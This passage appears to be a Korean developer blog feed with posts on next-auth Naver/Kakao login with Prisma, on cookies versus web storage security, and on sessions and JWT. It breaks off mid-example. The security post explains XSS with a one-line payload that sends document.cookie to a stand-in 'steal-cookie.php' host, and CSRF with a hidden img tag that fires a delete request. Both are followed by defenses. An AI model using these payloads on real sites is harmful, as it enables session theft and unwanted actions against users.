<blockquote>
</blockquote>
<p><a href="https://next-auth.js.org/getting-started/introduction">https://next-auth.js.org/getting-started/introduction</a>
<a href="https://velog.io/@dosomething/Next-auth-%EB%A5%BC-%EC%9D%B4%EC%9A%A9%ED%95%9C-%EB%A1%9C%EA%B7%B8%EC%9D%B8-%EA%B5%AC%ED%98%84#-%ED%86%A0%ED%81%B0-%EC%9C%A0%ED%9A%A8%EC%84%B1-%EA%B2%80%EC%82%AC">https://velog.io/@dosomething/Next-auth-를-이용한-로그인-구현#-토큰-유효성-검사</a></p>
<blockquote>
</blockquote>
<h2 id="프로젝트에-적용하기">프로젝트에 적용하기</h2>
<p>쇼핑몰 사용자 연령대를 4, 50대로 잡았고 일단은 국내 사용자로 한정하여 <code>네이버</code> 와 <code>카카오</code> 로그인이 가장 효과적일 것으로 생각되어 해당 <code>provider</code> 을 추가하였다.</p>
<pre><code class="language-ts">// src/pages/api/auth/[...nextauth].ts

import NextAuth from &quot;next-auth&quot;;
import type { NextAuthOptions } from &quot;next-auth&quot;;
import NaverProvider from &quot;next-auth/providers/naver&quot;;
import KakaoProvider from &quot;next-auth/providers/kakao&quot;;

export const authOptions: NextAuthOptions = {
  providers: [
    NaverProvider({
      clientId: process.env.NAVER_ID!,
      clientSecret: process.env.NAVER_SECRET!,
    }),
    KakaoProvider({
      clientId: process.env.KAKAO_ID!,
      clientSecret: process.env.KAKAO_SECRET!,
    }),
  ],
};

export default NextAuth(authOptions);
</code></pre>
<p>위에서 적은 코드가 잘 작동하나 싶어 확인해 보았다.</p>
<p><img src="https://velog.velcdn.com/images/gonggi_bab/post/a559d471-a79f-4707-a812-cc2de4e5a803/image.gif" alt="nextauth_로그인"></p>
<p>로그인을 했을 때 쿠키에 정보가 잘 저장되고 로그아웃 하면 사라진다. 잘 동작한다!</p>
<h3 id="session-에서-문제-발생">Session 에서 문제 발생</h3>
<p>그럼 세션값에 정보가 잘 들어있는지 확인하기 위해 아무 페이지에서 <code>useSession()</code> 을 사용해서 세션을 불러왔는데 왠걸 카카오에서는 잘찍히는 <code>name</code> 프로퍼티가 네이버에서는 <code>undefined</code> 가 떳다...</p>
<p>왜 이런 문제가 발생하는지 살펴 보기위해 로그인 이후 해당 정보를 포함하는 <code>signIn()</code> 콜백 함수안에서 <code>user</code> 객체 콘솔을 찍어보았다. 역시나 이름이 들어 있어야 할 <code>name</code> 에 <code>undefined</code> 값이 들어있었고 <code>profile</code> 객체 안에 이름값이 들어 있었다.</p>
<p>이런 일이 발생하는 이유는 <code>next-auth</code> 에서 워낙 다양한 플랫폼의 oauth 를 지원하다 보니 플랫폼마다 주는 데이터의 형식 차이로 발생하는 문제가 아닌가 라고 유추해 보았다.</p>
<pre><code class="language-js">// 네이버 로그인 user 객체
{
  id: &#39;qp47I3BLNuXxweV56HTk...&#39;,
  name: undefined,
  email: &#39;example1234@naver.com&#39;,
  image: undefined
}

// 네이버 로그인 profile 객체
{
  resultcode: &#39;00&#39;,
  message: &#39;success&#39;,
  response: {
    id: &#39;qp47I3BLNuXxweV56HTk...&#39;,
    email: &#39;example1234@naver.com&#39;,
    name: &#39;공기밥&#39;
  }
}</code></pre>
<p>이유가 어찌되었든 두 플랫폼 모두 빈 값없이 사용자 정보를 세션에 담도록 다음과 같이 코드를 변경해 주었고 이후 세션에 네이버 로그인 역시 이름값이 잘 담겨서 전달되는 것을 확인했다.</p>
<pre><code class="language-ts">export const authOptions: NextAuthOptions = {
  providers: [
    NaverProvider({
      clientId: process.env.NAVER_ID!,
      clientSecret: process.env.NAVER_SECRET!,
    }),
    KakaoProvider({
      clientId: process.env.KAKAO_ID!,
      clientSecret: process.env.KAKAO_SECRET!,
    }),
  ],
  callbacks: {
    async signIn({ user, profile }) {
      // profile 객체에 이름이나 이메일 값이 있으면 해당 값을 user 객체에 저장
      if (profile) {
        user.name = profile.response?.name || user.name;
        user.email = profile.response?.email || user.email;
      }

      return true;
    },
  },
};

export default NextAuth(authOptions);
</code></pre>
<h3 id="db-와-로그인-정보-연동하기">DB 와 로그인 정보 연동하기</h3>
<p>이번 프로젝트에서 회원가입은 별도의 추가 정보없이 간단히 이름과 이메일 정보만 필요로 했다. 따라서 oauth 로그인 할 때 DB에 사용자 정보가 없는 사람은 바로 회원가입이 이루어지는 방식으로 구현했다.</p>
<p><code>next-auth</code> 에서는 자동으로 데이터베이스와 연결해주는 <a href="https://next-auth.js.org/adapters">adapter</a> 라는 기능을 지원한다. 이 프로젝트는 <code>MongoDB</code> 를 사용하고 있었고 <a href="https://authjs.dev/reference/adapter/mongodb">@auth/mongodb-adapter</a> 도 지원하고 있어서 프로젝트에 적용해 보았지만 여러 에러들을 마주했다. 또한 DB에 생성되는 모델의 형태도 정해져 있어 내가 원하는 DB 구조가 아니었기 때문에 <code>adapter</code> 를 사용하지 않기로 결정했다.</p>
<p>사용자가 로그인 하면 호출되는 <code>signIn</code> 콜백 안에서 DB를 체크하고 새로운 유저를 등록하는 로직을 집어 넣어서 간단하게 연동시켰다. <code>prisma</code> ORM 을 사용해서 데이터베이스 모델을 관리했고 DB에 생성된 유저 <code>id</code> 와 <code>role</code> 정보를 세션에 추가해서 클라이언트에서 나중에 접근할 수 있도록 했다. </p>
<h3 id="최종-코드">최종 코드</h3>
<pre><code class="language-ts">// src/pages/api/auth/[...nextauth].ts

import NextAuth from &quot;next-auth&quot;;
import type { NextAuthOptions } from &quot;next-auth&quot;;
import NaverProvider from &quot;next-auth/providers/naver&quot;;
import KakaoProvider from &quot;next-auth/providers/kakao&quot;;
import prisma from &quot;common/lib/prisma&quot;;

export const authOptions: NextAuthOptions = {
  providers: [
    NaverProvider({
      clientId: process.env.NAVER_ID!,
      clientSecret: process.env.NAVER_SECRET!,
    }),
    KakaoProvider({
      clientId: process.env.KAKAO_ID!,
      clientSecret: process.env.KAKAO_SECRET!,
    }),
  ],
  callbacks: {
    async signIn({ user, profile }) {
      if (profile) {
        user.name = profile.response?.name || user.name;
        user.email = profile.response?.email || user.email;
      }

      try {
        // 데이터베이스에 유저가 있는지 확인
        let db_user = await prisma.user.findUnique({
          where: { email: user.email! },
        });

        // 없으면 데이터베이스에 유저 추가
        if (!db_user) {
          db_user = await prisma.user.create({
            data: {
              name: user.name!,
              email: user.email!,
              cart: {
                create: {},
              },
            },
          });
        }

        // 유저 정보에 데이터베이스 아이디, 역할 연결
        user.id = db_user.id;
        user.role = db_user.role;

        return true;
      } catch (error) {
        console.log(&quot;로그인 도중 에러가 발생했습니다. &quot; + error);
        return false;
      }
    },
    async jwt({ token, user }) {
      if (user) {
        token.id = user.id;
        token.role = user.role;
      }

      return token;
    },
    async session({ session, token }) {
      // 세션에 유저 정보 저장
      if (session.user) {
        session.user.id = token.id as string;
        session.user.role = token.role as string;
      }

      return session;
    },
  },
  secret: process.env.NEXTAUTH_SECRET,
};

export default NextAuth(authOptions);
</code></pre>
<h2 id="middleware-을-통한-페이지-접근-권한-설정">middleware 을 통한 페이지 접근 권한 설정</h2>
<p><code>next-auth</code> 에서 제공하는 <code>getToken()</code> 함수를 이용해서 사용자 로그인 토큰에 접근할 수 있다는 점을 이용하여 페이지별 접근 권한 설정을 <code>middleware.ts</code> 파일을 통해 해주었다. 앞서 설정해 주었던 <code>NEXTAUTH_SECRET</code> 환경변수를 사용해서 토큰을 복호화하고 사용자 역할 정보를 가져와서 사용했다.</p>
<pre><code class="language-ts">// src/middleare.ts

import type { NextRequest } from &quot;next/server&quot;;
import { NextResponse } from &quot;next/server&quot;;
import { getToken } from &quot;next-auth/jwt&quot;;

export async function middleware(req: NextRequest) {
  const token = await getToken({
    req,
    secret: process.env.NEXTAUTH_SECRET,
  });
  const { pathname } = req.nextUrl;

  if (pathname.startsWith(&quot;/login&quot;)) {
    if (token) {
      return NextResponse.redirect(new URL(&quot;/&quot;, req.url));
    }
  }

  if (pathname.startsWith(&quot;/my&quot;)) {
    if (!token) {
      return NextResponse.redirect(new URL(&quot;/login&quot;, req.url));
    }
  }

  if (pathname.startsWith(&quot;/admin&quot;)) {
    if (token?.role !== &quot;ADMIN&quot;) {
      return NextResponse.redirect(new URL(&quot;/&quot;, req.url));
    }
  }
}

export const config = {
  matcher: [&quot;/login&quot;, &quot;/my&quot;, &quot;/admin&quot;],
};</code></pre>
<h2 id="배포시-마주했던-에러">배포시 마주했던 에러</h2>
<p><code>Vercel</code> 을 사용해서 배포 테스트를 하던 도중 <code>NEXTAUTH_SECRET</code> 환경 변수를 추가해 주지 않아서 에러가 발생했다. <code>next-auth</code> 를 사용하기 위해 두가지 환경 변수가 필요한데, 토큰 암호화 복호화를 위한 <code>NEXTAUTH_SECRET</code>, 그리고 서비스 도메인 정보를 담은 <code>NEXTAUTH_URL</code> 이 필요하다.</p>
<h3 id="nextauth_secret-어디서-얻음">NEXTAUTH_SECRET 어디서 얻음?</h3>
<p><code>NEXTAUTH_SECRET</code> 를 얻는 방법은 <a href="https://next-auth.js.org/configuration/options">공식 홈페이지</a>에 잘 나와있는데 아래 <code>openssl</code> 커맨드를 사용하면 된다.</p>
<pre><code>$ openssl rand -base64 32
</code></pre><p><code>vscode</code> 커맨드 창이나 맥 터미널 어디에서 실행해도 상관없고 실행후 아래에 출력되는 랜덤한 문자열 값을 복사해서 사용하면 된다.</p>
<p><img src="https://velog.velcdn.com/images/gonggi_bab/post/5553af5c-f8a7-4c58-a147-957f6defb5bd/image.png" alt="시크릿 키 얻는법"></p>
]]></description>
        </item>
        <item>
            <title><![CDATA[쿠키와 웹 스토리지, 그리고 보안 ]]></title>
            <link>https://velog.io/@gonggi_bab/%EC%BF%A0%ED%82%A4%EC%99%80-%EC%9B%B9-%EC%8A%A4%ED%86%A0%EB%A6%AC%EC%A7%80-%EA%B7%B8%EB%A6%AC%EA%B3%A0-%EB%B3%B4%EC%95%88</link>
            <guid>https://velog.io/@gonggi_bab/%EC%BF%A0%ED%82%A4%EC%99%80-%EC%9B%B9-%EC%8A%A4%ED%86%A0%EB%A6%AC%EC%A7%80-%EA%B7%B8%EB%A6%AC%EA%B3%A0-%EB%B3%B4%EC%95%88</guid>
            <pubDate>Thu, 29 Jun 2023 02:53:32 GMT</pubDate>
            <description><![CDATA[<p>로그인 기능을 구현하던 도중 사용자 인가 정보 저장에 대한 필요성이 생겼다. 그에 따라 브라우저가 제공하는 기능에는 뭐가 있고 해당 기능들의 장단점에 대해 알아보았다.
로그인 기능을 구현하던 도중 사용자 인가 정보 저장에 대한 필요성이 생겼고, 그에 따라 어떤 옵션들이 있고 해당 옵션들의 장단점에 대해 알아보았다.</p>
<h2 id="쿠키">쿠키</h2>
<hr>
<h3 id="http-의-무상태성">HTTP 의 무상태성</h3>
<p>HTTP 프로토콜의 중요한 특징 중 하나는 <strong>Stateless(무상태성)</strong>이라는 것이다. 무상태성이란 서버가 클라이언트의 상태 정보를 저장하지 않는다는 것을 의미한다. 즉 클라이언트가 연속적으로 서버에 요청을 보내도 서버는 요청간에 관계를 알지 못한다는 것. 이는 서버의 확장성에는 큰 장점이 있지만 로그인과 같은 상태 유지가 필요한 기능에서 한계를 가지고 있다. 이를 보안하기 위해 추가된 것이 쿠키다. </p>
<h3 id="쿠키란">쿠키란?</h3>
<p>브라우저 쿠키는 <code>서버</code>가 사용자의 <code>브라우저</code>에 전송하는 키-값 구조의 작은 크기의 문자열이다 (최대 4KB). 브라우저는 그 데이터 조각들을 저장해 놓았다가, 동일한 서버에 재 요청 시 저장된 데이터를 <code>Cookie</code> 헤더에 담아 전송한다.</p>
<pre><code>GET /sample_page.html HTTP/1.1
Host: www.example.org
Cookie: yummy_cookie=choco; tasty_cookie=strawberry</code></pre><h3 id="쿠키-설정">쿠키 설정</h3>
<p>쿠키는 <code>Set-Cookie</code> 헤더를 사용하여 설정되며 이는 웹 서버의 HTTP 응답을 통해 송신된다. 이 헤더는 웹 브라우저가 쿠키를 저장하고 이를 차기 서버 요청 시 송신할지를 지시한다.</p>
<pre><code class="language-jsx">Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly</code></pre>
<p>쿠키는 만료기간에 따라 세션 쿠키와 영속 쿠키로 나뉘게 된다. </p>
<ul>
<li><strong>세션 쿠키</strong> : 현재 세션이 끝날 때, 즉 브라우저가 종료되는 시점에 삭제된다. 어떤 브라우저들은 재시작할때 세션을 복원해 쿠키를 무기한 존재할 수 있게 하기도 함.</li>
<li><strong>영속 쿠키</strong> : <code>Expires</code> 속성에 명시된 날짜에 삭제되거나, <code>Max-Age</code> 속성에 명시된 기간 이후에 삭제된다.</li>
</ul>
<h2 id="웹-스토리지">웹 스토리지</h2>
<hr>
<p>웹스토리지는 HTML5 부터 등장한 기능으로 쿠키와 동일한 키-값 구조의 문자열 저장공간이다. 캐시에 비해 넉넉한 5MB 의 저장 용량을 가지고 있고 요청마다 헤더에 포함되어 전송되지 않는다는 특징을 가지고 있다. 또한 도메인, 브라우저 범위로 데이터가 저장된다.</p>
<h3 id="웹-스토리지의-객체-저장">웹 스토리지의 객체 저장</h3>
<p>앞서 말했듯이 웹 스토리지는 문자열만 저장할 수 있기 때문에 객체를 저장하기 위해서는 JSON 타입의 객체를 문자열으로 직렬화 해서 저장한다.</p>
<pre><code class="language-jsx">// 객체 -&gt; 문자열로 직렬화
localStorage.setItem(&#39;json&#39;, JSON.stringify({a: 1, b: 2}))

// 문자 -&gt; 객체로 역직렬화
JSON.parse(localStorage.getItem(&#39;json&#39;))</code></pre>
<h3 id="로컬-스토리지-vs-세션-스토리지">로컬 스토리지 vs 세션 스토리지</h3>
<p>웹 스토리지에는 로컬 스토리지와 세션 스토리지가 있고 차이점은 다음과 같다.</p>
<ul>
<li><strong>로컬 스토리지</strong> : 유효기간 없이 데이터를 저장하고, 자바스크립트를 사용하거나 브라우저 캐시 또는 로컬 저장 데이터를 지워야만 사라진다.</li>
<li><strong>세션 스토리지</strong> : 탭 범위로 저장되며, 브라우저 탭이 닫힐 때까지만 데이터를 저장한다.</li>
</ul>
<h3 id="사용-가능-검사">사용 가능 검사</h3>
<p>웹 스토리지 기능이 현재 브라우저 세션에서 지원되고 사용가능한지 확인해야한다. 아래는 MDN에서 제공하는 localStorage 기능 지원 감지 코드로 여러가지 예외 상황에 대해 감지하도록 설계 되어 있다.</p>
<pre><code class="language-js">function storageAvailable(type) {
    var storage;
    try {
        storage = window[type];
        var x = &#39;__storage_test__&#39;;
        storage.setItem(x, x);
        storage.removeItem(x);
        return true;
    }
    catch(e) {
        return e instanceof DOMException &amp;&amp; (
            // Firefox를 제외한 모든 브라우저
            e.code === 22 ||
            // Firefox
            e.code === 1014 ||
            // 코드가 존재하지 않을 수도 있기 떄문에 이름 필드도 확인합니다.
            // Firefox를 제외한 모든 브라우저
            e.name === &#39;QuotaExceededError&#39; ||
            // Firefox
            e.name === &#39;NS_ERROR_DOM_QUOTA_REACHED&#39;) &amp;&amp;
            // 이미 저장된 것이있는 경우에만 QuotaExceededError를 확인하십시오.
            (storage &amp;&amp; storage.length !== 0);
    }
}

if (storageAvailable(&#39;localStorage&#39;)) {
  // localStorage를 사용할 수 있습니다.
}
else {
  // localStorage를 사용할 수 없습니다.
}</code></pre>
<p><code>storageAvailable(&#39;sessionStorage&#39;)</code>를 호출하여 sessionStorage 사용 가능 여부도 확인할 수 있다고 한다.</p>
<h2 id="보안-이슈">보안 이슈</h2>
<hr>
<p>쿠키와 웹 스토리지에 민감한 정보를 저장하고 전송할 때 마주하는 대표적인 문제들에 대해서 알아보았다.</p>
<h3 id="xss-cross-site-scripting">XSS (Cross-site Scripting)</h3>
<p>XSS(교차 사이트 스크립팅)는 공격자가 웹 사이트에 악의적인 코드를 주입하는 기법이다. XSS 관련 공격의 종류는 셀 수 없이 많지만 일반적으로 세션과 토큰과 같이 개인 정보를 탈취해 공격자에게 전송하거나, 공격자가 조작하고 있는 웹사이트로 리다이렉트 시키는 등의 방식을 사용한다.</p>
<p>XSS 공격은 크게 세가지 카테고리로 분류 할 수 있다 :</p>
<ul>
<li><strong>Stored (Persistent) XSS</strong> : 주입된 스크립트가 목표 서버에 영구적으로 저장되어 피해자가 해당 스크립트를 서버로 부터 응답받아 브라우저에 전달되는 방식.</li>
<li><strong>Reflected (Non-Persistend) XSS</strong> : 사용자가 악의적인 링크를 클릭하거나 조작된 폼을 제출하도록 속으면 웹 사이트 내로 스크립트가 주입되는 방식.</li>
<li><strong>DOM-based XSS</strong> : 피해자 브라우저의 DOM 환경을 조작해서 페이지 자체는 똑같아 보이지만 예상치 못한 방식으로 실행되게 하는 방식.</li>
</ul>
<pre><code class="language-jsx">(new Image()).src = &quot;http://www.example.com/steal-cookie.php?cookie=&quot; + document.cookie;</code></pre>
<h3 id="csrf-cross-site-request-forgery">CSRF (Cross-site Request Forgery)</h3>
<p>CSRF(교차 사이트 요청 위조)는 공격자가 신뢰할 수 있는 사용자를 사칭하고 웹 사이트에 원치 않는 명령을 보내는 공격이다. 즉, 특정 웹서버가 사용자의 웹브라우저를 신용하는 상태를 노리는 것.</p>
<p>예를 들어, 공격자가 아래와 같이 악의적인 URL 파라미터를 가진 요소를 삽입했다고 하자.</p>
<pre><code class="language-jsx">&lt;img src=&quot;https://www.example.com/index.php?action=delete&amp;id=123&quot; /&gt;</code></pre>
<p>수정 권한이 있는 사용자의 경우, <code>&lt;img&gt;</code> 요소는 화면에 보이지 않더라도 사용자도 모르는 사이 HTML이 로드되면서 실행된다.</p>
<h3 id="xss-vs-csrf">XSS vs CSRF</h3>
<table>
<thead>
<tr>
<th></th>
<th>XSS</th>
<th>CSRF</th>
</tr>
</thead>
<tbody><tr>
<td>개요</td>
<td>악성 코드가 클라이언트에서 실행됨</td>
<td>권한을 도용당한 클라이언트가 가까 요청을 서버에 전송</td>
</tr>
<tr>
<td>공격 대상</td>
<td>클라이언트</td>
<td>서버</td>
</tr>
<tr>
<td>목적</td>
<td>세션 탈취, 웹사이트 변조</td>
<td>권한 도용</td>
</tr>
</tbody></table>
<h2 id="저장-방법-비교-분석"><strong>저장 방법 비교 분석</strong></h2>
<hr>
<p> 각 저장 방법들의 단점과 해결방법 그리고 사용하면 좋을 기능들에 대해 정리해 보았다.</p>
<h3 id="메모리-변수">메모리 (<strong>변수)</strong></h3>
<table>
<thead>
<tr>
<th>문제점</th>
</tr>
</thead>
<tbody><tr>
<td>페이지를 이동하거나 새로고침만 해도 정보가 휘발됨</td>
</tr>
</tbody></table>
<p>→ 가장 보안적으로 뛰어난 방식이지만 위의 문제로 단독으로 사용하기엔 사용자 경험에 문제가 생김.</p>
<h3 id="웹-스토리지-1">웹 <strong>스토리지</strong></h3>
<table>
<thead>
<tr>
<th>문제점</th>
</tr>
</thead>
<tbody><tr>
<td>XSS 공격에 취약함</td>
</tr>
<tr>
<td>독립된 스토리지로 브라우저 및 탭(세션) 간에 공유가 불가함</td>
</tr>
<tr>
<td>만료기간 설정이 불가함</td>
</tr>
<tr>
<td>동기적으로 실행되어 메인 스레드 블로킹 발생함</td>
</tr>
</tbody></table>
<p>→ 웹 사이트 전체 XSS 취약점을 최대한 예방하면 웹 스토리지도 조금 더 안전해진다. 따라서 사용자의 입력이 자바스크립트 코드로 실행될 수 있는 코드들은 최대한 사용하지 않는다. 
( e.g. <code>innerHTML</code>, <code>eval</code>, <code>document.write</code> )</p>
<p>→ 따라서 웹 스토리지에 민감한 정보를 저장하는 것은 최대한 지양하고 다음과 같은 용도로 사용하는 것을 추천함:</p>
<ul>
<li><strong>세션 스토리지</strong> : 이전 페이지 저장, 이전 스크롤 위치 저장</li>
<li><strong>로컬 스토리지</strong> : 사용자 설정 저장, 글 임시 저장</li>
</ul>
<h3 id="쿠키-1"><strong>쿠키</strong></h3>
<table>
<thead>
<tr>
<th>문제점</th>
</tr>
</thead>
<tbody><tr>
<td>CSRF 공격에 취약함</td>
</tr>
<tr>
<td>XSS 공격에 취약함</td>
</tr>
<tr>
<td>저장용량이 부족함</td>
</tr>
<tr>
<td>HTTP 요청시 자동으로 모든 쿠키가 전송됨</td>
</tr>
</tbody></table>
<p>→ 옵션 없이 기본적으로 작동되는 쿠키는 사실 XSS, CSRF 공격에 모두 취약함.</p>
<p>→ 하지만 다음과 같은 쿠키 설정을 통해 해당 취약점들을 최대한 보완할 수 있음:</p>
<ul>
<li><strong>XSS</strong> :<ul>
<li><code>HttpOnly</code> 설정을 통해 쿠키를 자바스크립트 코드 상에서 접근이 불가해지고, HTTP 요청에만 포함되어 보내진다.</li>
</ul>
</li>
<li><strong>CSRF</strong> :<ul>
<li><code>SameSite</code> 설정을 통해 같은 도메인의 요청에만 쿠키를 전송하게 할 수 있다. 해당 설정에서 선택할 수 있는 옵션으로는 세 가지가 있다.<ul>
<li><strong><code>None</code></strong>: 설정하기전과 같은 방식으로 동작함.</li>
<li><strong><code>Strict</code></strong>: 크로스 사이트 요청에는 항상 전송되지 않음.</li>
<li><strong><code>Lax</code></strong>: 크로스 사이트 요청 중 안전한 HTTP 요청에만 전송함.<code>&lt;a&gt;</code> 태그, <code>302</code> 리다이렉트, <code>window.location.replace</code> 등을 이용한 요청을 말함.</li>
</ul>
</li>
<li><code>secure</code> 설정을 통해 HTTPS가 아닌 통신에서는 쿠키를 전송하지 않음.</li>
</ul>
</li>
</ul>
<pre><code class="language-jsx">Set-Cookie: 쿠키명=쿠키값; HttpOnly; SameSite=Lax; Secure</code></pre>
<h2 id="안전하게-jwt-토큰-저장하기">안전하게 JWT 토큰 저장하기</h2>
<hr>
<p>앞서 비교한 저장 방법들을 토대로 만약에 JWT 토큰을 사용한 로그인을 구현한다고 했을 때 안전하다고 생각되는 방법은 다음과 같다:</p>
<ol>
<li>클라이언트에서 로그인 요청 후 서버에서 성공적으로 인증되면 <code>access token</code> 는 페이로드, <code>refresh token</code> 는 쿠키 헤더에 <code>httpOnly</code> / <code>secure</code> / <code>SameSite</code> 옵션과 함께 저장한 뒤 응답한다.</li>
<li>응답 받은 클라이언트는 <code>access token</code>을 메모리(변수)에 저장한다.</li>
<li>클라이언트에서 권한이 필요한 요청 시에 <code>Authorization</code> 헤더에 <code>access token</code>을 담아 보내준다.</li>
<li><code>access token</code>이 만료되었거나, 페이지 이동으로 사라졌을 시, 렌더링 과정 혹은 API 통신을 통해 재발급을 요청한다. 이 때 <code>refresh token</code>이 이미 쿠키에 담겨진 상태로 서버와 통신하게 된다.</li>
<li><code>refresh token</code> 역시 만료되어 있으면 클라이언트는 사용자를 로그아웃 시킨다.</li>
</ol>
<hr>
<h3 id="레퍼런스">레퍼런스</h3>
<p><a href="https://www.youtube.com/watch?v=-4ZsGy1LOiE">[10분 테코톡] 🦄 디토의 웹스토리지 &amp; 쿠키</a>
<a href="https://developer.mozilla.org/ko/docs/Web/HTTP/Cookies">HTTP 쿠키 - HTTP | MDN</a>
<a href="https://developer.mozilla.org/ko/docs/Web/API/Web_Storage_API/Using_the_Web_Storage_API">Web Storage API 사용하기 - Web API | MDN</a>
<a href="https://developer.mozilla.org/en-US/docs/Web/Security/Types_of_attacks#cross-site_scripting_xss">Types of attacks - Web security | MDN</a>
<a href="https://ko.wikipedia.org/wiki/HTTP_%EC%BF%A0%ED%82%A4">HTTP 쿠키</a>
<a href="https://prolog.techcourse.co.kr/studylogs/2272">우아한테크코스 학습로그 저장소</a>
<a href="https://velog.io/@yaytomato/%ED%94%84%EB%A1%A0%ED%8A%B8%EC%97%90%EC%84%9C-%EC%95%88%EC%A0%84%ED%95%98%EA%B2%8C-%EB%A1%9C%EA%B7%B8%EC%9D%B8-%EC%B2%98%EB%A6%AC%ED%95%98%EA%B8%B0">🍪 프론트에서 안전하게 로그인 처리하기 (ft. React)</a></p>
]]></description>
        </item>
        <item>
            <title><![CDATA[로그인 그리고 세션과 토큰]]></title>
            <link>https://velog.io/@gonggi_bab/%EB%A1%9C%EA%B7%B8%EC%9D%B8-%EA%B7%B8%EB%A6%AC%EA%B3%A0-%EC%84%B8%EC%85%98%EA%B3%BC-%ED%86%A0%ED%81%B0</link>
            <guid>https://velog.io/@gonggi_bab/%EB%A1%9C%EA%B7%B8%EC%9D%B8-%EA%B7%B8%EB%A6%AC%EA%B3%A0-%EC%84%B8%EC%85%98%EA%B3%BC-%ED%86%A0%ED%81%B0</guid>
            <pubDate>Wed, 28 Jun 2023 16:50:57 GMT</pubDate>
            <description><![CDATA[<h2 id="서론">서론</h2>
<hr>
<p>여러 프로젝트를 진행하면서 로그인 기능을 구현해야 하는 상황들을 마주했다. 가장 기본적인 기능이면서 보안적으로 중요한 로그인 기능. 아직까지도 제대로 알지 못하고 사용하고 있어 이번 기회에 개념 정리를 해보았다.</p>
<h2 id="인증과-인가">인증과 인가</h2>
<hr>
<p>먼저 두 개념의 차이는 다음과 같다:</p>
<ul>
<li><strong>인증 (Authentication)</strong> : 사용자의 신원을 검증하는 단계</li>
<li><strong>인가 (Authorization)</strong> : 신원이 확인된 사용자에게 리소스에 접근할 수 있는 권한을 주는 단계</li>
</ul>
<p>즉 웹에서 사용자가 웹사이트에 로그인 하는 과정을 인증, 로그인 한 사용자가 특정 리소스에 대한 접근 권한을 확인하는 과정을 인가 라고 할 수 있다.</p>
<h3 id="문제점">문제점</h3>
<p>그러면 어느 웹사이트에서 사용자가 로그인을 진행한다고 생각해보자. HTTP의 무상태성으로 인해 어떤 사용자가 인증을 받더라도 웹서버는 해당 사용자의 다음 요청에서 인증된 사용자라는 것을 알지 못한다. 즉, 매 요청마다 다시 인증을 해야 하는 문제가 발생한다.  </p>
<p>이를 해결하기 위한 방법으로는 간단하게 브라우저에 유저 정보를 보관해 뒀다가 매 요청마다 해당 정보를 함께 전달하는 방법이 있다. 하지만 이는 민감한 유저정보를 모두 브라우저에 저장하는 보안적으로 아주 취약한 상태에 있다. 이러한 문제점을 해결하기 위한 방법에 세션과 토큰이 있다.</p>
<h2 id="세션">세션</h2>
<hr>
<p>세션 기반 인가는 사용자의 인증 정보가 서버의 세션 저장소에 저장되는 방식이다. </p>
<p>사용자가 로그인을 하고 유효한 사용자임이 인증이 되면 서버 세션 저장소에 인증 정보를 저장하게 되는데 이때 인증 정보는 <code>Session ID</code> 와 사용자 아이디로 이루어져 있다. 이후 서버에서 <code>Session ID</code> 를 담은 쿠키와 함께 응답을 보내고 브라우저 쿠키에 저장되게 된다. 이후 브라우저에 요청을 보낼 때 마다 헤더에 <code>Session ID</code> 담은 쿠키가 함께 전송되어 서버에서 전달받은 <code>Session ID</code> 와 세션 저장소를 비교해 유효한 인증 정보인지 확인하는 방식이다.</p>
<p><img src="https://velog.velcdn.com/images/gonggi_bab/post/180f9ee1-6c86-4ebf-9db8-8aa7a8b0c86f/image.png" alt="세션 작동 방식"></p>
<h2 id="토큰">토큰</h2>
<hr>
<p>토근 기반 인가는 인증 정보를 토큰의 형태로 클라이언트에 저장하고 있는 방식이다.</p>
<p><img src="https://velog.velcdn.com/images/gonggi_bab/post/6a58c70f-5f89-4d25-995d-158b1f409b61/image.png" alt="토큰 작동 방식"></p>
<p>그중 가장 대표적인 JWT 토큰 방식에 대해서 알아보자.</p>
<h3 id="json-web-token-jwt-란">Json Web Token (JWT) 란?</h3>
<p>Json Web Token 은 세션방식과 큰 차이는 없이 인증에 필요한 모든 정보를 토큰에 담아 암호화 시킨뒤 사용한다. 여기서 가장 큰 차이는 JWT 는 해당 토큰을 서명해서 사용한다는 점이다. 즉, 개인/공개 키로 토큰에 서명을 한 경우 비밀키를 가진 서버에서 해당 토큰이 유효한지를 알수 있다는 말이다.</p>
<h3 id="jwt의-구조">JWT의 구조</h3>
<p>JWT 는 <code>Header</code>, <code>Paload</code>, <code>Signiture</code> 세가지 구성요소로 이루어져 있다. 이 세가지 구성요소는 <code>.</code> 을 기준으로 나누어 구분된다.</p>
<p><img src="https://velog.velcdn.com/images/gonggi_bab/post/bcb19577-4771-4159-960f-69c123961df5/image.png" alt="jwt 구조"></p>
<h3 id="헤더">헤더</h3>
<p><strong>헤더</strong>는 토큰 타입 그리고 해싱 알고리즘에 대한 정보를 담고 있다. 해싱은 <strong>Signiture</strong> 부분에서 사용되며 해싱 알고리즘으로는 일반 적으로 <code>HMAC SHA256</code> 혹은 <code>RSA</code> 가 사용된다. </p>
<pre><code>{
  &quot;typ&quot;: &quot;JWT&quot;,
  &quot;alg&quot;: &quot;HS256&quot;
}</code></pre><h3 id="페이로드">페이로드</h3>
<p>페이로드에는 토큰에 담을 정보가 담겨 있다. 여기에 담는 정보의 한 조각을 <strong>클레임(claim)</strong> 이라 부르고 키-값 형태를 가진다. 클레임에는 또 세가지 종류가 있다.</p>
<ul>
<li><p>등록된 클레임 : 이미 이름이 정해진 클레임들로 필요한 경우 선택적으로 사용하면 된다. 등록된 클레임에는 다음들이 있다.</p>
<ul>
<li><code>iss</code>: 발급자</li>
<li><code>sub</code>: 제목</li>
<li><code>aud</code>: 대상자</li>
<li><code>exp</code>: 만료시간</li>
<li><code>nbf</code>: 이 날짜가 지나기 전까지는 토큰이 처리되지 않음</li>
<li><code>iat</code>: 토큰이 발급된 시간</li>
<li><code>jti</code>: JWT의 고유 식별자</li>
</ul>
</li>
<li><p>공개 클레임 : 충돌을 방지하기 위한 이름을 자기고 있는 클레임으로서, 클레임 이름을 URI 형태로 지음.</p>
<pre><code>  &quot;https://gongibab.com/jwt_claims/is_user&quot;: true</code></pre></li>
<li><p>비공개 클레임 : 아무 규칙없이 임의로 명명해서 사용하는 클레임. 따라서 이름 중복으로 인한 충돌을 주의 해야함:</p>
<pre><code>  &quot;username&quot;: &quot;gongibab&quot;</code></pre></li>
</ul>
<p>따라서 해당 클레임들을 포함한 예제 페이로드는 다음과 같다:</p>
<pre><code class="language-java">{
    &quot;iss&quot;: &quot;gongibab.com&quot;,
    &quot;exp&quot;: &quot;1485270000000&quot;,
